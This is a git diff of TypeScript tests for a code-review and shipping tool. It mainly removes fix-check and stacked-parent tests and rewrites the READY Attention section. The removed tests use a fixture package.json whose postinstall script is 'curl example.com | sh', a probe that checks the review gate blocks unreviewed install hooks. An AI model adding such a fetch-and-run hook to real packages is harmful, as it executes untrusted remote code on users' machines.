-// rows from gstack-review-log and rulings from gstack-approvals rule; no_claim=finish's FIX_CHECK lines, which keep their
-// own FIX_CHECK_OPEN listing
+// rows from gstack-review-log and rulings from gstack-approvals rule; no_claim=finish's route
describe('a stopped review names the findings its rulings leave open (harness-evals#498 after a26529ac, GST-3267)', () => {
test('#498 final shape: 22 rulings leave the 7 noted CRITICAL duplicates named, and ruling them binds every row', () => {
const { f, head } = finalRows();
@@ -682,7 +311,6 @@ describe('a stopped review names the findings its rulings leave open (harness-ev
});
});
-
// harness-evals#515 (HARN-108, 2026-11-20, 630a9903): round 2 stopped on 9 CRITICALs. The final Step 9 row was logged with
// `--findings p2/findings.jsonl` (status_source derived, no inline findings) and the in-host native row with no findings at
// all, so the 12 rulings (9 blockers plus 3 partial fixes from round 1) had nothing to match: both rows read UNVERIFIED with
@@ -722,8 +350,7 @@ const ruleAll = (f: ShipFx, head: string, fps: string[]) => fps.map(x => { const
// and the native row that lists none, and only when every blocker of that pass is ruled; fails_when=either row stays
// UNVERIFIED after all 9 rulings, reads CURRENT with a blocker unruled, a noted CRITICAL clears unruled, a completed:false
// row clears, a changed findings file still binds, or a findings-less row's reason does not say it lists no findings;
-// seam=gstack-review-log --findings, gstack-approvals rule and gstack-review-read on the stored rows; no_claim=finish's
-// fix-check chain and the receipt write
+// seam=gstack-review-log --findings, gstack-approvals rule and gstack-review-read on the stored rows; no_claim=the receipt write
describe('rulings close a stopped review whose findings are in its findings file (harness-evals#515, GST-3296)', () => {
test('#515: both rows read UNVERIFIED with no ruling, then CURRENT on the tree they read once the 9 blockers are ruled', () => {
const { f, head } = he515();
@@ -787,7 +414,6 @@ describe('rulings close a stopped review whose findings are in its findings file
});
});
-
// harness-evals#515 at 2d3ab19d (GST-3308): both rows read CURRENT at the reviewed head 630a9903, then the merge lane merged
// origin/main in with no conflicts and the PR's patch byte-identical, and Step 11.5 read both STALE because it compared whole
// trees. R51 counts that head as reviewed. Seven-line files put the base's edits next to the branch's own hunks.
diff --git a/test/ship-finish-stack-parent.test.ts b/test/ship-finish-stack-parent.test.ts
index cec1c27ad..150f02192 100644
--- a/test/ship-finish-stack-parent.test.ts
+++ b/test/ship-finish-stack-parent.test.ts
@@ -1,7 +1,7 @@
/**
* finish after a stacked parent squash-merges (GST-1399): the child was reviewed against its parent branch, the parent
* squash-merged into main, and the child merged main. The review's base (the parent's head) is not on main, but it is a
- * landed stack parent: --reviewed-base takes it, and the route, the fix-check credit and the docs carry compare the child's
+ * landed stack parent: --reviewed-base takes it, and the route and the docs carry compare the child's
* own patch against each base, so the parent's and main's edits are base, never changes since review. The receipt carry's
* landed-parent search (GST-1199) finds the parent the same way when main edited the parent's lines after the squash.
*/
@@ -174,20 +174,6 @@ describe('finish after a stacked parent squash-merges (GST-1399)', () => {
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('docs/review-policy.md')]);
});
- // Value: protects=a review-loop exception with no files list cannot accept a parent change main never received: its
- // "touched at the fix-check head" set starts at the landed parent, not at the pre-parent fork (red-team p1 on #4021);
- // fails_when=the loop's atHead runs from merge-base(origin/main, fix_check.head) under a landed stack parent;
- // seam=route's review-loop exception
- test('a review-loop exception does not accept a parent script main does not hold', () => {
- const PKG = '{"name":"fx","version":"1.0.0"}\n';
- const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n';
- const { f, parent, passHead, reviewed, post } = stacked({ parentFiles: { ...PARENT, 'package.json': POSTINSTALL }, afterLand: g => g.advanceBase({ 'package.json': PKG }) });
- f.write({ 'package.json': POSTINSTALL.replace('1.0.0', '1.0.1'), VERSION: '1.0.1.0\n' }); f.commit('bump');
- const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: passHead, findings: 0 } });
- const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]);
- expect(lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION')).not.toContain('package.json');
- expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('package.json')]);
- });
// Value: protects=a base commit whose merge with the parent conflicts never counts as holding it, even when the
// conflicted tree keeps the base's bytes (a modify/delete conflict; outside voice on #4021); fails_when=heldBy reads
@@ -225,19 +211,6 @@ describe('finish after a stacked parent squash-merges (GST-1399)', () => {
expect(lineOf(r.stdout, 'STOP')).not.toContain('nor a landed stack parent');
});
- // Value: protects=a review-loop exception whose fix-check head comes after the child merged main cannot accept a
- // main-only file edited after it: the "touched at the fix-check head" set starts at the parent only when that head
- // forked before the parent landed (red-team p2 on #4021); fails_when=the loop's fork is the parent whenever the parent
- // is an ancestor of the head; seam=route's review-loop exception via patchBase
- test('a loop exception at a post-merge fix-check head does not accept a main-only file edited after it', () => {
- const { f, parent, reviewed, post } = stacked({ base: { ...BASE, 'src/other.ts': lines(5) }, mainLater: { ...MAIN_LATER, 'src/other.ts': lines(5, { 2: 'export const l2 = 20;' }) } });
- const merged = head(f);
- f.write({ 'src/other.ts': lines(5, { 2: 'export const l2 = 20;', 4: 'export const l4 = 40;' }) }); f.commit('edit a main-only file after the fix-check');
- const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: merged, findings: 0 } });
- const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]);
- expect(lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION')).toContain('accepted none');
- expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('src/other.ts')]);
- });
// Value: protects=a conflicted parent deletion of a file whose name git C-quotes (a double quote) is still a conflict
// inside the pathspec, so the parent is not landed (fix-check p2 on #4021); fails_when=heldBy reads merge-tree's
@@ -313,27 +286,6 @@ describe('finish after a stacked parent squash-merges (GST-1399)', () => {
}
});
- // Value: protects=a granted fix-check's credit for a file main also edited holds when the fix commit's own patch runs from
- // the landed parent (#4008's fix_checked paths); fails_when=the fix-check side compares from the old fork point and
- // credits nothing, so the fixed file routes as behavior; seam=route's fix-check sides; no_claim=Step 11.5's binding
- test('a granted fix-check keeps its credit after the parent lands', () => {
- let fixHead = '';
- let passHead = '';
- const s = stacked({
- beforeMerge: f => {
- passHead = head(f);
- f.write({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 15: 'export const l15 = 151;' }) }); f.commit('fix the round-2 blocker');
- fixHead = head(f);
- const a = f.run(path.join(BIN, 'gstack-approvals'), ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${passHead.slice(0, 12)})`, '--words', 'one scoped fix-check', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { GSTACK_APPROVALS_MIRROR: '0' });
- expect(a.status).toBe(0);
- const start = f.run(path.join(BIN, 'gstack-review-log'), ['--start', 'review-fix-check']);
- expect(f.run(path.join(BIN, 'gstack-review-log'), [JSON.stringify({ skill: 'review-fix-check', timestamp: '2026-11-04T00:00:00Z', via: 'ship', review_scope: 'frozen', status: 'clean', issues_found: 0, critical: 0, completed: true, converged: true, range_base: passHead }), '--finish', start.stdout.trim()]).status).toBe(0);
- },
- });
- const r = finish(s.f, s.reviewed, s.post, ['--reviewed-base', s.parent]);
- expect(lineOf(r.stdout, 'FIX_CHECK')).toStartWith(`FIX_CHECK: reviewed src/shared.ts (fix-check at ${fixHead.slice(0, 12)}, range from ${passHead.slice(0, 12)}`);
- expect([r.status, lineOf(r.stdout, 'ROUTE')]).toEqual([0, expect.stringMatching(/ behavior=0 docs=0 metadata=0 tests=0 base=5 context=0 fix_checked=1$/)]);
- });
});
describe('receipt carry after main edits a landed parent\'s lines (GST-1399)', () => {
@@ -364,94 +316,3 @@ describe('receipt carry after main edits a landed parent\'s lines (GST-1399)', (
}, 90_000);
});
-
-describe('stacked-parent loop-exception matrix (GST-1399)', () => {
- // Value: protects=every merge order (the child merged main before the parent landed, after, never) × parent state
- // (squash, squash then a main edit of its lines, a release fold, unlanded) × fix-check head (before any merge, the
- // merge, after it) keeps a review-loop exception from accepting a parent change main never took (the postinstall and
- // stamp_paths probes, run in every cell) or a main-only file, while the child's own file edited after the fix-check is
- // accepted (fix-check p2 on #4021); fails_when=the exception's "touched at the fix-check head" set starts at the parent
- // for a head after a main merge, or at the head's merge base for one whose merge predates the landing;
- // seam=route's review-loop exception and heldBy; no_claim=the route without an exception
- const PKG = '{"name":"fx","version":"1.0.0"}\n';
- const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n';
- const DENY = 'export const allow = () => false;\n';
- const ALLOW = 'export const allow = () => true;\n';
- const POLICY = JSON.stringify({ min_gstack_version: '1.95.0.0', stamp_paths: ['src/policy.ts'], changelog_fragments: { dir: 'changelog.d', required_checks: ['free-tests'] } });
- const FRAGMENT = 'changelog.d/parent.md';
- type Order = 'before' | 'after' | 'never';
- type State = 'squash' | 'edited' | 'fold' | 'unlanded';
- type At = 'pre' | 'merge' | 'post';
- const cells: [Order, State, At][] = [];
- for (const order of ['before', 'after', 'never'] as const) for (const state of ['squash', 'edited', 'fold', 'unlanded'] as const)
- for (const at of order === 'never' ? ['pre'] as const : ['pre', 'merge', 'post'] as const) cells.push([order, state, at]);
-
- function mainEdit(f: ShipFx, files: Record<string, string>, rm: string[]): void {
- f.git('fetch', '-q', 'origin');
- expect(f.git('checkout', '-q', '--detach', 'origin/main').status).toBe(0);
- expect(f.git('rm', '-q', ...rm).status).toBe(0);
- f.write(files); f.commit('main moves');
- expect(f.git('push', '-q', 'origin', 'HEAD:main').status).toBe(0);
- expect(f.git('checkout', '-q', 'feat').status).toBe(0);
- }
-
- /** One cell: with probes, the parent also adds a postinstall script and a stamp_paths logic edit that main never takes, and the child edits both after the fix-check. */
- function cell(order: Order, state: State, at: At, probes: boolean) {
- const parentFiles: Record<string, string> = { ...PARENT, [FRAGMENT]: '- the parent\n', ...(probes ? { 'package.json': POSTINSTALL, 'src/policy.ts': ALLOW } : {}) };
- const f = shipFixture({ ...BASE, '.gstack/ship-policy.json': POLICY, 'src/policy.ts': DENY, 'src/other.ts': lines(5) }, parentFiles); ships.push(f);
- const parent = head(f);
- expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0);
- f.write(CHILD); f.commit('child');
- const heads: Partial<Record<At, string>> = { pre: head(f) };
- const reviewed = wtree(f);
- const post = path.join(f.root, 'post.json');
- expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
- f.advanceBase({ 'src/other.ts': lines(5, { 2: 'export const l2 = 20;' }), 'docs/other.md': '# main moves\n' });
- let landed = false;
- const land = () => {
- if (state === 'unlanded') { f.advanceBase({ 'docs/later.md': '# main without the parent\n' }); return; }
- f.advanceBase(parentFiles);
- if (probes) f.advanceBase({ 'package.json': PKG, 'src/policy.ts': DENY });
- if (state === 'edited') f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 31;' }) });
- if (state === 'fold') mainEdit(f, { 'CHANGELOG.md': '# Changelog\n\n## [1.0.1.0]\n\n- the parent\n' }, [FRAGMENT]);
- landed = true;
- };
- const merge = () => {
- f.git('fetch', '-q', 'origin');
- expect(f.git('merge', '-q', '--no-edit', '-X', 'theirs', 'origin/main').status).toBe(0);
- if (landed && state === 'fold' && f.git('cat-file', '-e', `HEAD:${FRAGMENT}`).status === 0) {
- expect(f.git('rm', '-q', FRAGMENT).status).toBe(0);
- expect(f.git('commit', '-q', '--amend', '--no-edit').status).toBe(0);
- }
- return head(f);
- };
- const fixUp = () => { f.write({ 'src/child.ts': 'export const c = 2;\n' }); f.commit('fix after the merge'); return head(f); };
- if (order === 'before') { heads.merge = merge(); heads.post = fixUp(); land(); merge(); }
- if (order === 'after') { land(); heads.merge = merge(); heads.post = fixUp(); }
- if (order === 'never') land();
- f.write({ 'src/child.ts': 'export const c = 3;\n', 'src/other.ts': lines(5, { 2: 'export const l2 = 20;', 4: 'export const l4 = 40;' }),
- ...(probes ? { 'package.json': POSTINSTALL.replace('1.0.0', '1.0.1'), VERSION: '1.0.1.0\n', 'src/policy.ts': ALLOW + 'export const KEY_VERSION = 2;\n' } : {}) });
- f.commit('edits after the fix-check');
- const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: heads[at], findings: 0 } });
- const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]);
- return { r, parent, stop: lineOf(r.stdout, 'STOP'), base: lineOf(r.stdout, 'REVIEWED_BASE'), loop: lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION') };
- }
-
- test.each(cells)('merged %s the landing × parent %s × fix-check head %s', (order, state, at) => {
- const notLanded = ['', expect.stringContaining('nor a landed stack parent')];
- const probe = cell(order, state, at, true);
- expect(probe.r.status).toBe(3);
- if (order === 'never' || state !== 'edited') expect([probe.base, probe.stop]).toEqual(notLanded);
- else {
- expect(probe.base).toContain(`stack parent ${probe.parent.slice(0, 12)} landed`);
- expect(probe.loop).toStartWith('REVIEW_LOOP_EXCEPTION: accepted src/child.ts (');
- expect(probe.stop).toStartWith('STOP: behavior, tests or build inputs changed since review (');
- for (const p of ['package.json', 'src/other.ts', 'src/policy.ts']) expect(probe.stop).toContain(p);
- }
- const control = cell(order, state, at, false);
- expect(control.r.status).toBe(3);
- if (order === 'never' || state === 'unlanded') { expect([control.base, control.stop]).toEqual(notLanded); return; }
- expect(control.base).toContain(`stack parent ${control.parent.slice(0, 12)} landed`);
- expect([control.loop, control.stop]).toEqual([expect.stringMatching(/^REVIEW_LOOP_EXCEPTION: accepted src\/child\.ts \(/), behaviorStop('src/other.ts')]);
- });
-});
diff --git a/test/ship-gate-dispositions.test.ts b/test/ship-gate-dispositions.test.ts
index ed18b19f6..dd86db664 100644
--- a/test/ship-gate-dispositions.test.ts
+++ b/test/ship-gate-dispositions.test.ts
@@ -9,14 +9,13 @@ import * as fs from 'node:fs';
import * as path from 'node:path';
import { EXIT } from '../lib/headless-artifacts';
import { extractReceipt, readyTailLines } from '../lib/ship-receipt';
-import { lineOf, RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
+import { RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
import { spawnSync } from 'node:child_process';
import { buildRow, locate, type ApprovalRow, type StoreLocation } from '../lib/approval-record';
import { GATE_SOURCE, gateDispositionDigest, gateDispositionRow } from '../lib/gate-dispositions';
setDefaultTimeout(90_000);
const BIN = path.dirname(RELEASE);
-const LANE = 'tests=printf " 3 pass\\n 0 fail\\nRan 3 tests across 1 file. [5.00ms]\\n"';
const ships: ShipFx[] = [];
afterEach(() => { while (ships.length) ships.pop()!.cleanup(); });
@@ -36,7 +35,6 @@ const gateRow = (extra: Record<string, unknown> = {}) => ({
{ fingerprint: 'src/x.ts:1:naming', severity: 'INFORMATIONAL', action: 'noted', blocking: false, raised_by: 'red-team' },
],
});
-const NOT_CLEAN = 'FIX_CHECK: not counted (review has unresolved findings or did not finish clean)';
const run = (f: ShipFx, bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
const gate = (f: ShipFx, finding: string, head: string, o: { words?: string; by?: string; reason?: string; gateId?: string } = {}) =>
@@ -142,43 +140,9 @@ describe('a recorded owner disposition closes an unattended gate finding (GST-24
});
});
-/** Round 2 stopped at passHead, the owner granted one scoped fix-check, and the fix-check logged the gate finding open. */
-function grantedFixCheck() {
- const f = shipFixture({ 'tests/balance.test.ts': TEST_V1 }, { 'src/x.ts': 'export const x = 2;\n', 'tests/balance.test.ts': TEST_V1 });
- ships.push(f);
- const passHead = f.git('rev-parse', 'HEAD').stdout.trim();
- const reviewed = f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim();
- f.write({ 'src/x.ts': 'export const x = 3;\n', 'tests/balance.test.ts': TEST_V2 }); f.commit('raise the fed-careless gate');
- const post = path.join(f.root, 'post.json');
- expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
- expect(run(f, 'gstack-approvals', ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${passHead.slice(0, 12)})`, '--words', 'one scoped fix-check', '--by', BY, '--scope', 'this /ship invocation']).status).toBe(0);
- log(f, 'review-fix-check', { range_base: passHead, ...gateRow() });
- const fin = () => f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--docs-post', post, '--lane', LANE]);
- return { f, passHead, fixHead: f.git('rev-parse', 'HEAD').stdout.trim(), fin };
-}
-const dispositionLines = (out: string) => out.split('\n').filter(l => l.startsWith('GATE_DISPOSITION: '));
-
-// Value: protects=finish counts a fix-check whose only blocker is an owner-dispositioned gate finding and prints the disposition
-// word for word; a ruling or an out-of-range disposition leaves it uncounted and says not applied; fails_when=finish ignores
-// gate dispositions, honours a ruling for a gate finding, or hides a disposition; seam=finish's fixChecked route
+// Value: protects=every gate disposition is recorded in the receipt and printed word for word; fails_when=write drops it,
+// accepts a body without it, or READY hides it; seam=gstack-ship-receipt write and readyTailLines
describe('finish with a gate disposition (GST-2491)', () => {
- test('a disposition at the stop head closes the fix-check\'s gate finding, and finish prints it', () => {
- const { f, passHead, fixHead, fin } = grantedFixCheck();
- expect(lineOf(fin().stdout, 'FIX_CHECK')).toBe(NOT_CLEAN);
- expect(run(f, 'gstack-approvals', ['rule', '--finding', GATE, '--head', passHead, '--reason', REASON, '--words', WORDS, '--by', BY]).status).toBe(0);
- expect(lineOf(fin().stdout, 'FIX_CHECK')).toBe(NOT_CLEAN);
- expect(gate(f, GATE, f.git('merge-base', 'main', 'HEAD').stdout.trim()).status).toBe(0);
- const early = fin();
- expect(lineOf(early.stdout, 'FIX_CHECK')).toBe(NOT_CLEAN);
- expect(dispositionLines(early.stdout)).toEqual([expect.stringMatching(/; not applied\)$/)]);
- expect(gate(f, GATE, passHead).status).toBe(0);
- const r = fin();
- expect(lineOf(r.stdout, 'FIX_CHECK')).toStartWith(`FIX_CHECK: reviewed src/x.ts,tests/balance.test.ts (fix-check at ${fixHead.slice(0, 12)}, range from ${passHead.slice(0, 12)}`);
- expect(dispositionLines(r.stdout)).toEqual([
- expect.stringMatching(/; not applied\)$/),
- expect.stringMatching(new RegExp(`^GATE_DISPOSITION: ${GATE} \\[gate ${GATE_ID}\\] at ${passHead.slice(0, 12)} by Founderstar Captain \\(FOUN-1\\) at [^ ]+Z: ${REASON} — "Do it" \\(approval a-[0-9a-f]{12}\\)$`)),
- ]);
- });
// Value: protects=nothing dispositioned is hidden (R73): the receipt records every gate disposition, write refuses a PR body
// without each line word for word, and READY prints it; fails_when=write drops it or accepts a body without it;
diff --git a/test/ship-mechanical-retake.test.ts b/test/ship-mechanical-retake.test.ts
index 4076f2cec..e39d8ac57 100644
--- a/test/ship-mechanical-retake.test.ts
+++ b/test/ship-mechanical-retake.test.ts
@@ -139,8 +139,7 @@ describe('finish and gstack-review-plan agree at the round cap (GST-1560)', () =
expect(plan('--pass', '2', '--last', 'full', '--post-review')).toStartWith('NEXT: full (edits after the review bound (Step 16 stage 2.1)');
expect(plan('--pass', '2', '--last', 'full', '--post-review')).toContain('read-only final review (R51)');
expect(plan('--pass', '3', '--last', 'full', '--post-review')).toStartWith('NEXT: stop (edits after the review bound (Step 16 stage 2.1)');
- expect(plan('--pass', '1', '--last', 'fix-check', '--fix-checks', '1', '--post-review')).toStartWith('NEXT: stop (edits after the review bound');
- expect(plan('--pass', '1', '--last', 'full', '--post-review')).toMatch(/^NEXT: (full|fix-check) \(edits after the review bound/);
+ expect(plan('--pass', '1', '--last', 'full', '--post-review')).toStartWith('NEXT: full (edits after the review bound');
const stage2 = fs.readFileSync(path.join(ROOT, 'ship/SKILL.md.tmpl'), 'utf8').split('### 2. Choose the change route')[1]!.split('### 3.')[0]!;
expect(stage2).toContain('--post-review');
});
diff --git a/test/ship-queue-ready-tail.test.ts b/test/ship-queue-ready-tail.test.ts
index 35e2bac94..c18908531 100644
--- a/test/ship-queue-ready-tail.test.ts
+++ b/test/ship-queue-ready-tail.test.ts
@@ -1,42 +1,36 @@
/**
* The READY tail's last two template gaps (#4529, #4575, #4578): the Attention section printed
* "<flags against decision-trail row numbers, or No flags>" for the lane to fill, and TRIAL_MERGES listed outside fork PRs such as
- * #4499 as conflicts a lane must resolve. The flags line now comes from the trail-read row's result, and a fork PR is labelled and
- * never fetched or merged.
+ * #4499 as conflicts a lane must resolve. The Attention section now opens with the receipt's risk class (the cross-family trail
+ * read left with the decision trail in GST-3562 part 4), and a fork PR is labelled and never fetched or merged.
*/
import { afterEach, describe, expect, test } from 'bun:test';
import { spawnSync } from 'node:child_process';
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
-import { trailReadRow, trialMergeLines } from '../lib/ship-queue';
+import { trialMergeLines } from '../lib/ship-queue';
import type { ShipReceipt } from '../lib/headless-artifacts';
import { readyTailLines } from '../lib/ship-receipt';
const dirs: string[] = [];
afterEach(() => { while (dirs.length) fs.rmSync(dirs.pop()!, { recursive: true, force: true }); });
const tmp = () => { const d = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-ready-tail-')); dirs.push(d); return d; };
-const HEADER = 'ts\tphase\tdecision\twhy\tevidence\tresult\n';
-const trail = (rows: string[]) => { const f = path.join(tmp(), 'decisions.tsv'); fs.writeFileSync(f, HEADER + rows.map(r => r + '\n').join('')); return f; };
-const READ = (flags: string) => `2026-11-20T00:01:00Z\ttrail-read\topenai/gpt-6.2-sol (Subagent 4)\trule 27\tflags.md\t${flags}`;
const GATE = { review_depth: { class: 'gate', risk: [] } } as unknown as ShipReceipt;
+const MONEY = { review_depth: { class: 'code', risk: ['money'] } } as unknown as ShipReceipt;
const CODE = { review_depth: { class: 'code', risk: [] } } as unknown as ShipReceipt;
-const attention = (r: ShipReceipt, file?: string) => { const l = readyTailLines(r, { trialMerges: ['TRIAL_MERGES: none share a file (0 open PRs checked)'], trailRead: trailReadRow(file) }); return l.slice(l.indexOf('Attention:') + 1); };
+const attention = (r: ShipReceipt | undefined) => { const l = readyTailLines(r, { trialMerges: ['TRIAL_MERGES: none share a file (0 open PRs checked)'] }); return l.slice(l.indexOf('Attention:') + 1); };
-describe('the Attention flags line comes from the trail (#4529)', () => {
- // Value: protects=READY never prints the flags placeholder: a risk-class PR prints the trail-read row's flags against its row number
- // and a self-audited PR prints only its opener; fails_when=the placeholder line comes back or a flag is dropped; why_new=lanes
- // pasted the placeholder on #4529, #4575 and #4578; seam=trailReadRow and readyTailLines as ready calls them
- test('a trail-read row\'s flags, or No flags, against its row; no line without a row or on a self-audited PR', () => {
- expect(attention(GATE, trail([READ('rows 4 and 7: retry claimed without a log')]))).toEqual([
- 'reviewed by openai/gpt-6.2-sol (Subagent 4) (risk class: gate; rule 27 cross-family trail read, trail row 1)',
- 'Flags (trail row 1): rows 4 and 7: retry claimed without a log',
- ]);
- for (const none of ['No flags', 'none', '']) expect(attention(GATE, trail([READ(none)]))[1]).toBe('No flags (trail row 1)');
- expect(attention(GATE)).toHaveLength(1);
- expect(attention(GATE)[0]).toStartWith('MISSING: cross-family trail read');
- expect(attention(CODE, trail([READ('row 2')]))).toEqual(['self-audited (not a risk class: no cross-family trail read)']);
- for (const r of [GATE, CODE]) expect(readyTailLines(r).join('\n')).not.toContain('<flags against');
+describe('the Attention section opens with the risk class and no template line (#4529, GST-3562 part 4)', () => {
+ // Value: protects=READY never prints the flags placeholder or a trail-read requirement: the Attention section is one line naming
+ // the receipt's risk class, and the lane lists what needs a decision under it; fails_when=the placeholder line or the MISSING
+ // trail read comes back; why_new=lanes pasted the placeholder on #4529, #4575 and #4578; seam=readyTailLines as ready calls it
+ test('one risk-class line, never a placeholder or a trail-read requirement', () => {
+ expect(attention(GATE)).toEqual(['risk class: gate']);
+ expect(attention(MONEY)).toEqual(['risk class: money']);
+ expect(attention(CODE)).toEqual(['not a risk class']);
+ expect(attention({} as ShipReceipt)).toEqual(['risk class unknown: the receipt records no review_depth']);
+ for (const r of [GATE, CODE]) expect(readyTailLines(r).join('\n')).not.toMatch(/<flags against|trail read|trail-read/);
});
});
diff --git a/test/ship-receipt-claim-fail-closed.test.ts b/test/ship-receipt-claim-fail-closed.test.ts
deleted file mode 100644
index 696bc352d..000000000
--- a/test/ship-receipt-claim-fail-closed.test.ts
+++ /dev/null
@@ -1,68 +0,0 @@
-/**
- * gstack-ship-receipt claim fails closed when it cannot record the claim in the run record (#4654 review note): the run
- * record's claim is what limits a stopped run to one self-granted fix round, so a claim the record never took must not
- * read as GRANT_CLAIMED with exit 0, or the run could stop and grant itself again.
- */
-import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test';
-import * as fs from 'node:fs';
-import * as path from 'node:path';
-import { PREFLIGHT, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
-
-setDefaultTimeout(120_000);
-const BIN = path.join(import.meta.dir, '..', 'bin');
-const CHECKOUT = { GSTACK_LEASE_DIR: '', GSTACK_APPROVALS_MIRROR: '0' };
-const fixtures: ShipFx[] = [];
-afterEach(() => { while (fixtures.length) fixtures.pop()!.cleanup(); });
-
-const run = (f: ShipFx, bin: string, args: string[]) => f.run(path.join(BIN, bin), args, CHECKOUT);
-const gitPath = (f: ShipFx, name: string) => path.resolve(f.work, f.git('rev-parse', '--git-path', name).stdout.trim());
-const record = (f: ShipFx) => JSON.parse(fs.readFileSync(gitPath(f, 'gstack-ship-run'), 'utf8'));
-
-/** A run ro that stopped on one blocker and granted itself the fix-check for its own stop: returns the grant id and the body file. */
-function stoppedWithOwnGrant(f: ShipFx): { grant: string; body: string } {
- expect(f.run(PREFLIGHT, ['--base', 'main', '--run', 'ro'], CHECKOUT).status).toBe(0);
- const start = run(f, 'gstack-review-log', ['--start', 'review']);
- expect(start.status, start.stderr).toBe(0);
- const row = { skill: 'review', timestamp: new Date().toISOString(), via: 'ship', pass: 1, review_scope: 'frozen', completed: true, converged: false, status: 'issues_found', issues_found: 1, critical: 1, informational: 0, findings: [{ fingerprint: 'src/x.ts:1:outside-voice', severity: 'CRITICAL', action: 'open', blocking: true, ledger_id: 'p1/outside-voice#1', raised_by: 'outside-voice' }] };
- expect(run(f, 'gstack-review-log', [JSON.stringify(row), '--finish', start.stdout.trim()]).status).toBe(0);
- const body = path.join(f.root, 'body.md');
- fs.writeFileSync(body, 'Fixes a thing.\n');
- expect(run(f, 'gstack-ship-receipt', ['stop', '--body', body, '--pr', '7', '--run', 'ro', '--since', '2000-01-01T00:00:00Z']).status).toBe(0);
- const head = f.git('rev-parse', 'HEAD').stdout.trim();
- const granted = run(f, 'gstack-approvals', ['round-grant', '--pr', '7', '--head', head, '--kind', 'fix-check', '--stop-run', 'ro', '--findings', 'p1/outside-voice#1', '--reason', 'fixable blocker', '--by', 'Captain GStack Minder (GSTA-36)']);
- const grant = /APPROVAL_RECORDED: (a-[0-9a-f]{12})/.exec(granted.stdout)?.[1];
- expect(grant, granted.stderr).toBeDefined();
- return { grant: grant!, body };
-}
-
-describe('claim fails closed when the run record cannot take it (#4654)', () => {
- // Value: protects=the once-per-run self-grant limit, which reads the run record's claim; fails_when=claim prints
- // GRANT_CLAIMED and exits 0 after the record write failed; seam=gstack-ship-receipt claim; no_claim=gh pr edit
- test('a claim whose run-record write fails exits non-zero and says not to dispatch', () => {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
- fixtures.push(f);
- const { grant, body } = stoppedWithOwnGrant(f);
- fs.mkdirSync(gitPath(f, 'gstack-gate-disposition.lock'));
- const claim = run(f, 'gstack-ship-receipt', ['claim', '--body', body, '--run', 'ro', '--grant', grant]);
- expect(claim.status).not.toBe(0);
- expect(claim.stdout).not.toContain('GRANT_CLAIMED');
- expect(claim.stderr).toContain('do not dispatch');
- expect(record(f).claim).toBeUndefined();
- });
-
- // Value: protects=a claim retried after the failure clears records the claim once (positive control); fails_when=the
- // failed attempt's body marker blocks its own retry; seam=gstack-ship-receipt claim; no_claim=gh pr edit
- test('the same claim retried once the record is writable records it', () => {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
- fixtures.push(f);
- const { grant, body } = stoppedWithOwnGrant(f);
- const lock = gitPath(f, 'gstack-gate-disposition.lock');
- fs.mkdirSync(lock);
- expect(run(f, 'gstack-ship-receipt', ['claim', '--body', body, '--run', 'ro', '--grant', grant]).status).not.toBe(0);
- fs.rmSync(lock, { recursive: true, force: true });
- const again = run(f, 'gstack-ship-receipt', ['claim', '--body', body, '--run', 'ro', '--grant', grant]);
- expect(again.status, again.stderr).toBe(0);
- expect(again.stdout).toContain('GRANT_CLAIMED: grant=' + grant);
- expect(record(f)).toMatchObject({ run: 'ro', state: 'open', claim: { grant } });
- });
-});
diff --git a/test/ship-receipt-depth.test.ts b/test/ship-receipt-depth.test.ts
index 53893a3a1..3d93f01a5 100644
--- a/test/ship-receipt-depth.test.ts
+++ b/test/ship-receipt-depth.test.ts
@@ -10,10 +10,11 @@ import { afterEach, describe, expect, test } from 'bun:test';
import * as fs from 'node:fs';
import * as path from 'node:path';
import { spawnSync } from 'node:child_process';
-import { EXIT } from '../lib/headless-artifacts';
+import { EXIT, type ShipReceipt } from '../lib/headless-artifacts';
import { extractReceipt, renderReceiptBlock } from '../lib/ship-receipt';
